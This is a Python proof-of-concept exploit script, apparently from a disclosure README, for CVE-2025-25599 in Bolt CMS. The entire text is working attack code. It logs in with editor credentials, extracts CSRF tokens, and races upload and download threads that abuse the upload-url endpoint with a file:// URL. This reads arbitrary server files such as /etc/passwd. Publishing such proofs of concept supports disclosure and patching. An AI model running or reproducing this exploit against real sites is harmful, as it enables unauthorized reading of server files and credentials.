README.md
Rendering markdown...
#!/usr/bin/python3
# William Moody (@bmdyy)
# Certitude Consulting GmbH
import time
import threading
import argparse
import os
import requests
from bs4 import BeautifulSoup
from urllib.parse import quote_plus
from colorama import init as colorama_init, Fore, Style
parser = argparse.ArgumentParser(
description="Proof of concept script for CVE-2025-25599",
)
parser.add_argument("-u", "--username", help="Username of a user who has the EDITOR role or higher", required=True)
parser.add_argument("-p", "--password", required=True)
parser.add_argument("-U", "--url", help="URL for website running Bolt CMS (e.g. http://127.0.0.1)", required=True)
parser.add_argument("-f", "--file", help="(Optional) Full path of the file to download (Default: /etc/passwd)", default="/etc/passwd")
parser.add_argument("-v", "--verbose", action="store_true", help="(Optional) Increase verbosity")
parser.add_argument("-o", "--out", help="(Optional) Path to store downloaded file")
args = parser.parse_args()
# Normalize URL
if args.url.endswith("/"):
args.url = args.url[:-1]
colorama_init()
s = requests.Session()
# Verify Bolt
r = requests.get(f"{args.url}/bolt", allow_redirects=False)
if r.status_code != 302:
print(f"{Style.BRIGHT}{Fore.RED}[-]{Style.RESET_ALL} Could not find Bolt login page")
exit(1)
else:
if args.verbose:
print(f"{Style.BRIGHT}{Fore.GREEN}[+]{Style.RESET_ALL} Found Bolt login page")
# Login as user
r = s.get(f"{args.url}/bolt/login")
soup = BeautifulSoup(r.text, features="lxml")
_token = soup.find("input", {"name":"login[_token]"})["value"]
if args.verbose:
print(f"{Style.BRIGHT}{Fore.BLUE}[*]{Style.RESET_ALL} _token = {_token}")
r = s.post(
f"{args.url}/bolt/login",
headers={"Content-Type":"application/x-www-form-urlencoded", "Referer":f"{args.url}/bolt/login"},
data=f"login[username]={quote_plus(args.username)}&login[password]={quote_plus(args.password)}&login[remember_me]=1&login[_token]={quote_plus(_token)}",
)
if "admin__toolbar" not in r.text:
print(f"{Style.BRIGHT}{Fore.RED}[-]{Style.RESET_ALL} Login failed")
exit(1)
else:
print(f"{Style.BRIGHT}{Fore.GREEN}[+]{Style.RESET_ALL} Logged in as \"{args.username}\"")
# Get CSRF token for profile edit page
r = s.get(f"{args.url}/bolt/profile-edit")
soup = BeautifulSoup(r.text, features="lxml")
_csrf_token = soup.find("editor-image")[":csrf-token"].replace('"',"")
if args.verbose:
print(f"{Style.BRIGHT}{Fore.BLUE}[*]{Style.RESET_ALL} _csrf_token = {_csrf_token}")
# Define threads
exploited = False
def t_upload():
global exploited
while not exploited:
r = s.post(
f"{args.url}/bolt/async/upload-url?location=files&path=avatars",
files={"url": (None, f"file://{args.file}"), "_csrf_token": (None, _csrf_token)}
)
time.sleep(0)
basename = os.path.basename(args.file)
def t_download():
global exploited, basename
while not exploited:
r = requests.get(
f"{args.url}/files/tmp/avatars{basename}"
)
if "No route found for" not in r.text:
print(f"{Style.BRIGHT}{Fore.GREEN}[+]{Style.RESET_ALL} Downloaded \"{args.file}\"{f" to \"{args.out}\"" if args.out else "\n"}")
if args.out:
with open(args.out, "w") as f:
f.write(r.text)
else:
print(r.text)
exploited = True
time.sleep(0)
# Start threads
print(f"{Style.BRIGHT}{Fore.BLUE}[*]{Style.RESET_ALL} Starting upload and download threads...")
t1 = threading.Thread(target=t_upload)
t2 = threading.Thread(target=t_download)
t1.start()
t2.start()
t1.join()
t2.join()